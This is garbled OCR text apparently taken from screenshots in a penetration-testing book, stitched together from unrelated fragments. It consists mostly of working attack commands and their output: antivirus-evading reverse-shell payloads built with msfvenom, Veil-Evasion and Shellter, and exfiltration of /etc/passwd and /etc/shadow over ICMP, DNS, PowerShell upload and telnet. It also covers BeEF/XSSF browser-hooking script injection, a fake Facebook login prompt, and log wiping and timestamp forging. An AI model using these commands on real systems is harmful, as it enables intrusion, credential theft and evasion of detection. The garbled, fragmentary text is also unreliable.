0s Host | Port Protocol State Name Version
© 192.168.0.1 (dlinkrou... ® 80 tep open http Microsoft IIS httpd 7.5
©® 192.168.0.120 ® 135 tep open msrpc Microsoft Windows RPC
129 e 137 udp open netbios-ns Microsoft Windows netbios-ns (Domain controller....
© 192.168.0.143 ® 139 tcp open netbios-ssn  Microsoft Windows netbios-ssn
© 192.168.0.145 ® 161 udp open snmp SNMPv1 server (public)
® 445 tcp open microsoft-ds  Microsoft Windows Server microsoft-ds (workgro...
® 3306 tcp open mysgl MySQL 5.5.20-log
3
LY . _
tos|
Progress Tool Host Start time End time Status -
D mysql-default (3306/tcp) 192.168.0.145 25 Feb 2017 17:05:35 25 Feb 2017 17:05:37  Finished I
DN smbenum (445/tcp) 192.168.0.145 25Feb 2017 17:05:35 25 Feb 2017 17:05:43  Finished
DI snmpcheck (161/udp) 192.168.0.129 25 Feb 2017 17:05:35 Running
Pore— crron-defalt (161 Adn) 102 168 0120 95 Feh 2017 17:05:35 Runnina X
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nikto=Run nikto, nikto —-o [OUTPUT].txt -p [PORT] -h [IP], "http, https"
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rootlkali:~# perl 8806.pl

$ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
$ written by kaOx <kaOx0l[at]gmail.com>
$ 25/05/2009

lusage :
perl $0 <host> <path>

example :
perl $0 localhost dir/
perl $0 localhost dir/file.txt
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root@kali:~# searchsploit bulletproof FTP

Exploit Title

BulletProof
BulletProof
BulletProof
BulletProof
BulletProof
BulletProof
BulletProof
BulletProof
BulletProof
BulletProof
BulletProof
BulletProof

2.63 - Local Heap Ove
- '.bps' Local Stack
2010 - Buffer Overflo
2010 - Buffer overflo
2010 - Buffer Overflo
2.4.0.31 - Privilege
2009 - '.bps' Buffer
2010 - Buffer overflo
— BPS Buffer Overflow
2010 - Buffer overflo
2.45 - Remote Buffer
2.63 b56 - Malformed

windows/dos/7571. txt
windows/dos/7589.pl
windows/dos/18716. txt
windows/dos/34162.py
windows/dos/34540.py
windows/local/971.cpp
windows/local/8420.py
windows/local/35449.rb
windows/local/35712.rb
windows/local/37056.py
windows/remote/2530.py
windows/remote/9998.c
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Veil-Evasion | [Version]: 2.28.2

[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

Payload: python/shellcode inject/aes encrypt loaded

Required Options:

Name Current Value Description

COMPILE TO_EXE Compile to an executable
EXPIRE_PAYLOAD oOptional: Payloads expire after "Y" day:
("X" disables feature)

INJECT METHOD Virtual, Void, Heap

USE_PYHERION Use the pyherion encrypter

Available Commands:

set Set a specific option value

info Show information about the payload
options Show payload's options

generate Generate payload

back Go to the main menu

exit exit Veil-Evasion
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Use msfvenom or supply custom shellcode?

1 - msfvenom (default)
2 - custom shellcode string
3 - file with shellcode (raw)

[>]1 Please enter the number of your choice: 1

[*] Press [enter] for windows/meterpreter/reverse tcp

[*]1 Press [tab] to list available payloads

[>] Please enter metasploit payload: windows/
windows/adduser
windows/dllinject/

windows/dns_txt query exec
windows/download exec
windows/exec
windows/format all drives
windows/loadlibrary
windows/messagebox
windows/meterpreter/
windows/meterpreter bind tcp
windows/meterpreter reverse http
windows/meterpreter reverse https
windows/meterpreter reverse ipvé_tcp
windows/meterpreter_reverse_ tcp
windows/metsvc bind tcp

windows/metsvc reverse tcp
windows/patchupdllinject/
windows/patchupmeterpreter/
windows/powershell bind tcp
windows/powershell reverse tcp
windows/shell/

windows/shell bind tcp
windows/shell bind tcp xpfw
windows/shell_hidden bind tcp
windows/shell reverse tcp
windows/speak pwned
windows/upexec/
windows/vncinject/
windows/x64/
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Getting Started ]| Logs | cument Browser

Detais || Logs || Commands || Rider || XssRays | lpec || Network | webRTC |

History \ Forge Request H Proxy \

Proto Domain Port Method Path
www.bindshell.net 80 GET i
192.168.213.1 80 GET Niay!
192.168.213.1 80 GET L
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tshark -n -g -r importantfile.pcap -T fields -e data.data | tr -d "\n"
| tr =d ":" >> extfilterated_hex.txt.
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rootlext-kali:/home/trump# cat /etc/passwd > exfiterthis

rootfext-kal. ‘home/trump# cat /etc/shadow >> exfiterthis
root@ext-kali:/home/trump# hping3 -1 -E ./exfiterthis -u -d 1500 192.168.1.104
HPING 192.168.1.104 (ethO 192.168.1.104): icmp mode set, 28 headers + 1500 data bytes
[main] memlockall(): Operation not supported

Warning: can't disable memory paging!

1en=1500 ip=192.168.1.104 ttl=128 DF id=2912 icmp_seq=0 rtt=3.7 ms

DUP! 1en=1500 ip=192.168.1.104 ttl=64 DF id=26714 icmp seq=0 rtt=3.7 ms
1en=1500 ip=192.168.1.104 tt1=128 DF id=2914 icmp seg=1 rtt=3.5 ms

DUP! 1len=1500 ip=192.168.1.104 ttl=64 DF id=26818 icmp_seq=1 rtt=3.6 ms
1en=1500 ip=192.168.1.104 ttl=128 DF id=2916 icmp seq=2 rtt=3.5 ms

DUP! 1en=1500 ip=192.168.1.104 ttl=64 DF id=26953 icmp seq=2 rtt=3.5 ms

EOF reached, wait some second than press ctrl+c

1en=1500 ip=192.168.1.104 ttl=128 DF id=2921 icmp seq=3 rtt=3.4 ms

DUP! 1en=1500 ip=192.168.1.104 ttl=64 DF id=27100 icmp seq=3 rtt=15.5 ms
1en=1500 ip=192.168.1.104 ttl=128 DF id=2924 icmp seq=4 rtt=7.3 ms

DUP! len=1500 ip=192.168.1.104 ttl=64 DF id=27182 icmp seq=4 rtt=7.4 ms
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Server started.

Starting handler for windows/meterpreter/reverse tcp on port 3333
Starting handler for generic/shell reverse tcp on port 6666
Started reverse TCP handler on 192.168.213.128:3333

Starting the payload handler...

Starting handler for java/meterpreter/reverse_tcp on port 7777
Started reverse TCP handler on 192.168.213.128:6666

Starting the payload handler...

Started reverse TCP handler on 192.168.213.128:7777

Starting the payload handler...

--- Done, found 20 exploit modules

Using URL: http://0.0.0.0:8080/BodQcxESINty
Local IP: http://192.168.213.128:8080/Bo4QCXESINty
server started.
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tcpdump -i ethO 'icmp and src host 192.168.1.104' -w importantfile.pcap
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_ Hooked Browsers Getting Started @” Lo{
4 £3 Onine Browsers
2 0 @ 127001 Details || Logs || Commands
4 3 Offine Browsers 3% Use as Proxy lms)
433192.168.213128 | ) 4 | aynch XssRays on Hooked Domain g
7 M 192168
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1664
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H Window Size: Width: 1920, Height|
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root@kali:~/exfil/exfiltools# tcpdump -i ethO 'icmp and src host 192.168.1.104' -w importantfile.pcap

tcpdump: listening on eth0, link-type EN1OMB (Ethernet), capture size 262144 bytes
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Veil-Evasion | [Version]: 2.28.2

[Web] : https://www.veil-framework.com/ | [Twitter]: @VeilFramework

Main Menu
51 payloads loaded
Available Commands:

Use a specific payload

Information on a specific payload

List available payloads

Update Veil-Evasion to the latest version
Clean out payload folders

Check payload hashes vs. VirusTotal

Exit Veil-Evasion
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git clone https://github.com/sensepost/DET.git
cd DET

pip install -r requirements.txt

ptyhon det.py
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Veil-Evasion | [Version]: 2.28.2

[Web] : https://www.veil-framework.com/ | [Twitter]: @VeilFramework

[*] Available Payloads:

1) auxiliary/coldwar wrapper
2) auxiliary/macro_converter
3) auxiliary/pyinstaller wrapper

4) c/meterpreter/rev_http

5) c/meterpreter/rev_http service
6) c/meterpreter/rev_tcp

7 c/meterpreter/rev_tcp_service
8) c/shellcode inject/flatc

9) cs/meterpreter/rev http

10) cs/meterpreter/: rev:https

11) cs/meterpreter/rev_tcp

12) cs/shellcode inject/base64 substitution
13) cs/shellcode inject/virtual

14) go/meterpreter/rev_http

15) go/meterpreter/rev_https

16) go/meterpreter/rev_tcp

17) go/shellcode inject/virtual

18) native/backdoor factorv





OEBPS/Image00624.jpg
python det.py -c ./config-sample.json -p icmp -L
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root@kali:~# ifconfig
eth@: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1568
inet 10.10.115.108 netmask 255.255.240.0 broadcast 10.10.127.255
inet6 fe8 634:d9ff: feBa:b93c prefixlen 64 scopeid Bx20<link>
ether a4:34:d9:0a:b9:3c txqueuelen 1000 (Ethernet)
RX packets 536415 bytes 761467623 (726.1 MiB)
RX errors @ dropped © overruns @ frame 6
TX packets 236433 bytes 14338324 (13.6 MiB)
TX errors @ dropped @ overruns @ carrier 8 collisions 6

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.8.1 netmask 255.0.8.6
inet6 ::1 prefixlen 128 scopeid Ox18<host>
loop txqueuelen 1 (Local Loopback)
RX packets 88 bytes 4892 (4.7 KiB)
RX errors © dropped © overruns @ frame 8
TX packets 88 bytes 4892 (4.7 KiB)
TX errors @ dropped 0 overruns © carrier 8 collisions 6

root@kali:~# cat /etc/resolv.conf
domain superdude.ad

search superdude.ad

nameserver 10.16.65.181
nameserver 10.16.65.118
nameserver 10.16.65.91
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f=open('exfiltrated_hex.txt','r")
hex_data=f.read()
ascii_data=hex_data.decode ('hex")

print ascii_data
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:\>netsh advfirewall firewall set rule group="windows remote management" new enable=yes

Updated 2 rule(s).
k.
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root@kali:~/exfil# 1s -la extfilterated hex.txt
-rw-r--r-- 1 root root 83440 Jun 13 14:25 extfilterated hex.txt
root@kali:~/exfil# python
Python 2.7.13 (default, Jan 19 2017, 14:48:08)
[6CC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> f=open('extfilterated hex.txt',6 'r’)
>>> hex_data=f.read()
>>> ascii data=hex data.decode('hex')
>>> pr:l.nt ascii ¢ data

:0:0:root: /root: /bin/bash

daemon: /usr/sbin: /usr/sbin/nologin

bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev: /usr/sbin/nologin
sync:x:4:65534:sync: /bin: /bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
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once files have sent, use Ctrl+C to exit and save.

len: '245 bytes' List.txt
len: '245 bytes' List.txt
len: '245 bytes' List.txt
len: '245 bytes' List.txt
len: '245 bytes' List.txt
len: '245 bytes' List.txt
len: '245 bytes' List.txt
len: '245 bytes' List.txt
len: '117 bytes' List.txt

[Info] Saving recieved bytes to './recieved 2017-06-13 12-20-57 List.txt'
[md5sum] '30177bdb21b8al550b3dfc970dc04d9c!’
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root@kali:~/exfil/dnsteal# cat ./recieved 2017-06-13 12-20-57_List.txt
root: root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

:sys:/dev: /usr/sbin/nologin

:65534:sync: /bin: /bin/sync

games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
1p:x 7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news: 9:news:/var/spool/news: /usr/sbin/nologin
uucp: :10:uucp: /var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy: /bin: /usr/sbin/nologin
www-data:x:33:33:www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin

Tict -v-20:20 :Mailin~y Tict Manamar: /rar/lict: /uer/chin/nAalnrin
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use exploit/multi/handler

set payload windows/meterpretere/reverse_HTTPS
set lhost 192.168.1.102

set lport 5544

set exitonsession false

exploit -j -z
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Shellter VI

Wine Mode

Choose Operation Mode - Auto/Manual (A/MAH):
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meterpreter > clearev
[*] Wiping 1272 records from Application...

[*] Wiping 4816 records from System...
[*] Wiping 3756 records from Security...
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Shellter VI Instructions: 23475 Time Elapsed: 15 secs

Kk ko KKk KKk o K KK o

Data: D1l Characteristics (Dynamic ImageBase etc...), Digital Signature,

Status: All related information has been eliminated!

(

R K K KKk KKK

* Tracing Mode *
KRR R KRR KK

Status: Tracing has started! Press CTRL+C to interrupt tracing at any time,

Note: In Auto Mode, Shellter will trace a random humber of instructions
for a maximum time of approximately 3@ seconds in native Windows
hosts and for 60 seconds when used in Wine.

DisAsSM.dll was created successfully!






OEBPS/Image00631.jpg
meterpreter > timestomp -h

Usage: timestomp OPTIONS file path

IOPTIONS:
<opt>
<opt>

<opt>
<opt>

<opt>

Set the "last accessed" time of the file

Set the MACE timestamps so that EnCase shows blanks
Set the "creation" time of the file

Set the "mft entry modified" time of the file

Set the MACE of attributes equal to the supplied file
Help banner

Set the "last written" time of the file

Set the MACE timestamps recursively on a directory
Display the UTC MACE values of the file

Set all four attributes (MACE) of the file






OEBPS/Image00386.jpg
kali@linux:~./Veil-Evasion.py -p python/shellcode_inject/
aes_encrypt -o -output --msfpayload windows/meterpreter/
reverse_tcp ——-msfoptions LHOST=192.168.43.134 LPORT=4444
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powershell.exe -noprofile -c
"[System.Net.ServicePointManager] : : ServerCertificateValidationCallback

{true}; $http = new-object System.Net.WebClient; $response =
$http.UploadFile("""http://192.168.0.109/upload.php""","""C: \users\eisc\Des

ktop\Secret.txt""");"
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[menu>>] : checkvt

[*] Checking Virus Total for payload hashes...

[*] No payloads found on VirusTotal!






OEBPS/Image00629.jpg
C:\ del %WINDIR%\*.log /a/s/q/f
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* verification Stage *

shellter will verify that the first instruction of the
injected code will be reached successfully

If polymorphic code has been added, then the first
instruction refers to that and not to the effective
payload.

Max waiting time: 16 seconds.

warning!
If the PE target spawns a child process of itself before
reaching the injection point, then the injected code will
be executed in that process. In that case Shellter won't
have any control over it during this test.

You know what you are doing, right? ;o)

Injection: Verified!

Press [Enter] to continue.






OEBPS/Image00634.jpg
meterpreter > timestomp -z "01/01/2001 10:10:10" README.txt
01/01/2001 10:10:10

[*] setting specific MACE attributes on README.txt
meterpreter > timestomp README.txt -v

Modified : 2001-01-01 10:10:10 -0500
Accessed : 2001-01-01 10:10:10 -0500
Created : 2001-01-01 10:10:10 -0500
Entry Modified: 2001-01-01 10:10:10 -0500
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L Windows Defender

PC status: Protected

Scan completed on 1 item.

J ! No threats were detected on your PC during this scan.

| Your PC is being monitored and protected.

———

@ Real-time protection: On

@ Virus and spyware definitions:  Up to date

Scan details
Last scan: 5/19/2017 at 2:31 PM (Quick scan)

Scan options:

O Quick
OFull

@ Custom

Scan now
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Shellter VI

* First Stage Filtering *

Filtering Time Approx: 0.0058 mins.

Enable Stealth Mode? (Y/N/H): ¥

* payloads *

[1] Meterpreter_Reverse_TCP  [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCF [stager]
[5] Shell_Reverse_TCP [stager]
[6] shell_Bind_TcP [stager]
[7] winExec

Use a Listed payload or custom? (L/C/H):
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meterpreter > t].mestomp README. txt -v
Modified : 2017-06-14 08:19:23 -0400

Accessed : 2017-06-14 08:19:23 -0400
Created : 2017-06-14 08:19:23 -0400
Entry Modified: 2017-06-14 08:19:23 -0400
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Use a listed payload or custom? (L/C/H):

Select payload by index: 3

KRR KKK KKK KKK KKK KK

meterpreter_reverse_https

SET LHOST: 192.168.1.162

SET LPORT: 5544

* payload Info *
R e

Payload: meterpreter_reverse_https

Size: 345 bytes

Reflective Loader: NO

L
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meterpreter >timestomp -z "01/01/2001 10:10:10" README.txt
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root@kali:~/exfil/DET# python det.py -f /etc/passwd -p icmp -c ./config-sample.json
[2017-06-13.09:35:57] CTRI+C to kill DET

[2017-06-13.09:35:57] Launching thread for file /etc/passwd
[2017-06-13.09:35:57] Using icmp as transport method
[2017-06-13.09:35:57] [!] Registering packet for the file
[2017-06-13.09:35:57] [icmp] Sending 84 bytes with ICMP packet
[2017-06-13.09:35:57] Sleeping for 10 seconds
[2017-06-13.09:36:07] Using icmp as transport method
[2017-06-13.09:36:07] [icmp] Sending 936 bytes with ICMP packet
[2017-06-13.09:36:07] Sleeping for 6 seconds
[2017-06-13.09:36:13] Using icmp as transport method
[2017-06-13.09:36:13] [icmp] Sending 1056 bytes with ICMP packet
[2017-06-13.09:36:13] Sleeping for 2 seconds
[2017-06-13.09:36:15] Using icmp as transport method
[2017-06-13.09:36:15] [icmp] Sending 832 bytes with ICMP packet
[2017-06-13.09:36:15] Sleeping for 5 seconds
[2017-06-13.09:36:20] Using icmp as transport method
[2017-06-13.09:36:20] [icmp] Sending 152 bytes with ICMP packet
[2017-06-13.09:36:20] Sleeping for 3 seconds
[2017-06-13.09:36:23] Using icmp as transport method
[2017-06-13.09:36:23] [icmp] Sending 24 bytes with ICMP packet
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Use msfvenom or supply custom shellcode?
1 - msfvenom (default)

2 - custom shellcode string

3 - file with shellcode (raw)

Please enter the number of your choice: 1

Press [enter] for windows/meterpreter/reverse tcp

Press [tab] to list available payloads

Please enter metasploit payload:

Enter value for 'LHOST', [tab] for local IP: 192.168.0.120

Enter value for 'LPORT': 4444

Enter any extra msfvenom options (syntax: OPTIONl=valuel or -OPTION2=value2

Generating shellcode...
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[2017-06-13.09:36:23] [i1cmp] Received ICMP packet from: I
c1l-ghl

[2017-06-13.0 6:23] Received 18 bytes
[2017-06-13.0 6:23] File passwd recovered

[2017-06-13.0 6:24] [icmp] Received ICMP packet from: I
104 14
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root@kali:~/exfil/DET# python det.py -c ./config-sample.json -p icmp -L
[2017-06-13.09:29:52] CTRI+C to kill DET

[2017-06-13.09:29:52] [icmp] Listening for ICMP packets..

[2017-06-13.09:29:52] [icmp] Received ICMP packet from: 192.168.0.120 to 216.58.

196.14
[2017-06-13.09:29:53] [icmp] Received ICMP packet from: 192.168.0.120 to 216.58.
196.14
[2017-06-13.09:29:54] [icmp] Received ICMP packet from: 192.168.0.120 to 216.58.
106.14
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extension:
metasploit:
name: 'Metasploit’
enable: true
host: "192.168.213.128"
55552
nmsEn
"abc123"
i '/api'
# if you need "ssl: true" make sure you start msfrpcd with "SSL=y", like:
# load msgrpc ServerHost=IP Pass=abcl23 SSL=y
ssl: false
ss1_version: 'TLSVL'
ss1_verify: true
callback hos "127.0.0.1"
autopwn_url: "autopwn"
auto msfrped: false
auto msfrpcd timeout: 120
msf path: [
{os: 'osx',6 path: '/opt/local/msf/'},
{os: 'livecd', path: '/opt/metasploit-framework/'},
{os: 'bt5r3', path: '/opt/metasploit/msf£3/'},
{os: 'bt5', path: '/opt/framework3/msf3/'},
{os: 'backbox', path: '/opt/backbox/msf/'},
{os: 'kali', path: '/usr/share/metasploit-framework/'},
{os: 'pentoo', path: '/usr/lib/metasploit'},
{os: 'win', path: 'c:\\metasploit-framework\\'},
{os: 'custom', path: ''}
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msf > load msgrpc ServerHost=192.168.213.128 Pass=abcl23
[*] MSGRPC Service: 192.168.213.128:55552

[*] MSGRPC Username: msf
[*] MSGRPC Password: abcl23
[*] Successfully loaded plugin: msgrpc
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Compromised by DigitalDefence
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310:09

& Authenticate to host

Please enter your PIN for the remote
computer.

Don't ask for a PIN again when connecting to
this host from this device.

CANCEL  CONNECT
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metasploit:
enable:true
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Start your Free Trial

“Billed at $2.99 2 mollth after your rial ends

cript AngularJS Linux Unity Hadoop Android iOS

Blender Bootstrap Data Analysis

Stop Sharing
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msf > load xssf
[-1 Your Ruby version is 2.3.1. Make sure your version is up-to-date with the la
st non-vulnerable version before using XSSE!

0000000 00000 .000000..0 .000000..0 000000000000
*8888 4as' dsp’ Y8 dsp’' ‘Y8 "888' ‘8
Y888. .8P ¥88bo. ¥88bo. 888
"8888"' “"y8888o. “"yggsso. 88800008
.BPYB888. “"y88b “ryggb 888 »
ds' °888b oo .d8P oo .d8P 888
08880 0888880 8""88888P' B8""88888P' 08880 Cross-Site Scripting Framework 3.0
Ludovic Courgnaud - CONIX Securi

Please use command 'xssf_uz'ls' to see useful XSSF URLs

Successfully loaded plugin: xssf

> xssf_urls

XSSF Server : 'http://192.168.213.128:8888/" or 'http://<PUBLIC-IP>:8888/'
Generic XSS injection: 'http://192.168.213.128:8888/loop' or 'http://<PUBLIC-IP>:8888/loop'

XSSF test page : 'http://192.168.213.128:8888/test.html’ or 'http://<PUBLIC-IP>:8888/test.html’

XSSF Tunnel Proxy : 'localhost:8889'
XSSF logs page : 'http://localhost:8889/gui.html?guipage=main’
XSSF statistics page: 'http://localhost:8889/gui.html>guipage=stats’
XSSF help page : 'http://localhost:8889/gui.html?guipage=help’
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msfvenom -a x86 —--platform Windows -p
windows/meterpreter/reverse_tcplhost=192.168.0.109 lport=443 -x
/root/calc.exe -k -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 —-—
platform windows —-e x86/bloxor —-i 9 —-f exe -o calc.exe
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w4 OWASP Mutillidae Il: Web Pwn in Mass Prd

Version: 2643 _ Security Level: 0 (Hosed) _ Hints: Enabled (1 - 5cript Kiddie) N:

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL  ResetDB  View|

OWASP 2013 A1 - Injection (SQL)

OWASP 2010 AL Injection (Other) Video Tutorials

|~ A2 - Broken Authentication and
OWASP 2007 Session Management

[PO— A3 - Cross Site Scripting (XSS) )
= A4 - Insecure Direct Object Persistent (Second Order) Add to your blog
HS References
DOM-Based View someo
Others AS - Security Misconfiguration
Via "Input” (GET/POST) Show Log
S A6 - Sensitive Data Exposura T
[~ A7 - Missing Function Level Access
Seoni=s Control Via HTTP Attribute
AB - Cross Site Request Forgery Via Misconfiguration
Donate (CSRF)

Against HTMLS Web Storage Announcements

{2 0 - Using Components with Known b

Against JSON
Vulnerabilities L

Via Cookie Injection
You A10 - Unvalidated Redirects and =

[Tube Forwards Via XML Injection
Video Tutorials Via XPath Injection
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¢« c

® Chrome \ chrome://apps

Web Store

>BETA_

Secure Shell

|
@

Chrome Remote Deskto..
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root@kali:~# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse |
cp lhost=192.168.0.109 lport=443 -e x86/shikata ga nai -i 5 -f exe -o attackl.e
e

[Found 1 compatible encoders

[Attempting to encode payload with 5 iterations of x86/shikata_ga nai
|x86/shikata ga nai succeeded with size 360 (iteration=0)
|x86/shikata ga nai succeeded with size 387 (iteration=1)

|x86/shikata ga nai succeeded with size 414 (iteration=2)
x86/shikata ga nai succeeded with size 441 (iteration=3)
xB6/shikata ga nai succeeded with size 468 (iteration=4)
|x86/shikata ga nai chosen with final size 468

Payload size: 468 bytes

[Final size of exe file: 73802 bytes

|saved as: attackl.exe
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msfvenom -a x86 —--platform Windows -p
windows/meterpreter/reverse_tcplhost=192.168.0.109 lport=443 -e
x86/shikata_ga_nai -i 8 raw | msfvenom —-a x86 —--platform windows -e
x86/countdown -i 8 -f raw | msfvenom -a x86 —--platform windows -e
x86/bloxor -i 9 -f exe -o multiencoded.exe
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[*] Use xssf_information [VictimID] to see more information about a victim
msf > xssf information 1

INFORMATION ABOUT VICTIM 1

IP ADDRESS : 192.168.213.1
ACTIVE ? : FALSE
FIRST REQUEST : 2017-04-26 07:13:01
LAST REQUEST : 2017-04-26 07:14:17
CONNECTION TIME : Ohr 1lmin l6sec
BROWSER NAME : Google Chrome
BROWSER VERSION : 57.0.2987.133

: Windows

: Unknown

: ARCH X86_64

: http://192.168.213.128:8888
XSSF COOKIE ?
RUNNING ATTACK
WAITING ATTACKS
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To protect access to this computer, please choose a PIN of at least six
digits. This PIN will be required when connecting from another location.
Why is this safe?

PIN

Re-type PIN

@ Help us improve Chrome Remote Desktop by allowing us to collect
usage statistics and crash reports.

oK Cancel
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msf > use auxiliary/xssf/public/misc/alert

msf auxiliary(alert) > show options
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Ask the user whose computer you wish to access to click “Share” and

give you the access code.

Access code | 123

‘Cﬂlllle!.‘lH Cancel ’
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<script src="http://<ip>:8888/loop?interval=5"></script>
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C:\Program Files (x86)\Google\Chrome\Application\chrome --load-
extension=<path to extension directory-file.crx>
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Add blog for anonymous

Note: <b> <i> and <u> are now allowed in blog entries

<script type="text/javascript”

s

http://192.168.213.128:8888/loop?interval=5"></scripts|

Save Blog Entry
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Remote Assistance
Chrome Remote Desktop allows you to securely share your computer over the Web. Both users must be
running the Chrome Remote Desktop app, which can be found at chrome._google.com/remotedesktop.

Share this computer for another user to see and control. ﬂ

See and control a shared computer. Access
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use
set
set
set

auxiliary/server/browser_autopwn
LHOST 192.168.213.128
PAYLOAD_WIN32

PAYLOAD_JAVA

exploit
msfconsole —-g -r beefexploit.rc
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Facebook Session Timed Out

Your session has timed out due to inactivity.
Please re-enter your username and password to login.

Email:

Password:
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root@kali:~/exfil# f=List.txt; s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| b
ase64 -w0 | sed "s/.\{$b\}/&\n/g");do if [[ "$c" -1t "$s" 1]; then echo -ne "$i
-."; c=$(($c+l)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @192.168.1.104
“echo -ne $r$fitr "+" "*"° 4short; done
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Current Browser

Rider || ¥ssRays || Tpec ” Network || WebRTC

Command results

ida | date label
0 2017-04-26 10:53  command 1

1
data: result=Username: victim5787 Password: hacker!@1
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root@Kali:/usr/share/beef-xss# ./beef

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
L

1:
:38:
:38
:38:
:38
:38:
:38
:38:
:38:
:38:
:38:
:38:
:38
:38:
:38
:38:
:38:
:38:
:38:
:38:

HFEHERHHHEHERHERRRBERRRRBRRBRBRBHEKREKR

38

1181 [*]

181[*]

:18]1

18]

:18]

18]

1181 [*]

Bind socket [imapeudoral] listening on [0.0.0.0:2000].
Browser Exploitation Framework (BeEF) 0.4.7.0-alpha

I Twit: @beefproject

1 Site: http://beefproject.com

| Blog: http://blog.beefproject.com

I Wiki: https://github.com/beefproject/beef/wiki

Project Creator: Wade Alcorn (@WadeAlcorn)

1 BeEF is loading. Wait a few seconds...

22][+]

122]

22]

1221 [+]

22]
22]
22]1
22]1[*]1
22][*]

12 extensions enabled.

254 modules enabled.

2 network interfaces were detected.

running on network interface: 127.0.0.1

| Hook URL: http://127.0.0.1:3000/hook.js

|_ UI URL: http://127.0.0.1:3000/ui/panel
running on network interface: 192.168.213.128

| Hook URL: http://192.168.213.128:3000/hook.]js

I UI URL: http://192.168.213.128:3000/ui/panel

] RESTful API key: £35be85102c3e617dca3d42ccal307086ccb0496

HTTP Proxy: http://127.0.0.1:6789
BeEF server started (press control+c to stop)






OEBPS/Image00608.jpg
£ root@kali: ~/exil/DET

root@kali:~/exfil/DET# nc -1lvp 2121
listening on [any] 2121 ...

connect to [192.168.1.104] from kali [192.168.1.104]

xoot: root /xoot:/bin/bash
:/usr/sbin: /usr/sbin/nologin
/bin: /usr/sbin/nologin
ys:/dev: /usr/sbin/nologin
65534:sync: /bin: /bin/sync
ames: /usr/games: /usr/sbin/nologin
man:x:6:12:man: /var/cache/man: /usr/sbin/noloain

&P root@kali:/
root@kali:/# cat /etc/passwd | telnet 192.168.1.104 2121
Trying 192.168.1.104...

telnet: Unable to connect to remote host: Connection refuj
sed

rootekali:/# |
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Authentication

Username:

Password:

Login
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Local devices and resources

Choose the devices and resources on this computer that you want to
use in your remote session.

Other supported Plug and Play (PnP) devices
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schtasks /create /tnGooGleUpDate /tr " c:\program files (x86)\Google\Chrome
Remote Desktop\57.0.2987.37 (depends on the version)\remoting_host.exe'"
/scOnIdle/ru System
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root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss/~# ./beef
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Your desktop is currently shared with vijayvkvelu@gmail.com
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& & C | ® 192.168.213.128:3000/demos/basichtml e % d

You should be hooked into BeEF.
Have fun while your browser is working against you.
These links are for demonstrating the "Get Page HREFs" command module

« The Browser Exploitation Framework Project homepage ‘Your browser appears
& hackes o b tobe out of date.
ha.ckers org homepage ‘Would you like to

« Slashdot upgrade it?

Have a go at the event logger
Insert your secret here:

You can also load up a more advanced demo page here
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root@kali:~/exfil/dnsteal# ./dnsteal.py 192.168.1.104 -z -s 4 -b 57 -f 17

1~ NN/
DN\ 7
I /1IN AN\, _I_Iv2.0

-- https://github.com/m57/dnsteal.git —-
Stealthy file extraction via DNS requests

[+] DNS listening on '192.168.1.104:53'
[+] On the victim machine, use any of the following commands:
[+] Remember to set filename for individual file transfer.

[?] Copy individual file (ZIP enabled)
# f=file.txt; s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| base
else echo -ne "\n$i-."; c=1; fi; done ); do dig €192.168.1.104 ‘echo -ne

[?] Copy entire folder (ZIP enabled)
# for £ in $(1s .); do s=4;b=57;c=0; for r in $(for i in $(gzip ¢
(($c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig €192.168.1.104 °

[+] Once files have sent, use Ctrl+C to exit and save.
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Description:
Id:

Dialog Type:
Backing:

Custom Logo
(Generic only):

Asks the user for their username and password using a floating div.

10

Facebook

Grey

http://0.0.0.0:3000/ui/media/images/beef.png
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f=List.txt; s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| baseb6d4 -w0 |
sed "s/.\{$b\}/&\n/g");do if [[ "$c" -1t "$s" ]]; then echo -ne "$i-.";
c=$(($c+l)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @192.168.1.104
‘echo -ne $r$f|tr "+""*"' +short; done





OEBPS/Image00368.jpg
<« c \ © 192.168.213.128:3000/ui/panel

Hooked Browsers

{2 Online Browsers
4 (= Offine Browsers
4£39127.0.041
7 B @ 127.001

7 B 192.168.213.1

Getting Started [ Logs

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: http://beefproject.com/
Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you will have to 'hook’ a browser. To begin with you
can point a browser towards the basic demo page here, or the advanced version here.

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link
into your browser’s bookmark bar, then simply click the shortcut on another page: Hook Me!

After a browser is hooked into the framework they will appear in the 'Hooked Browsers’ panel on the
left. Hooked browsers will appear in either an online or offline state, depending on how recently they
have polled the framework.
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1

4 Hard Disk Drives (1)

&>

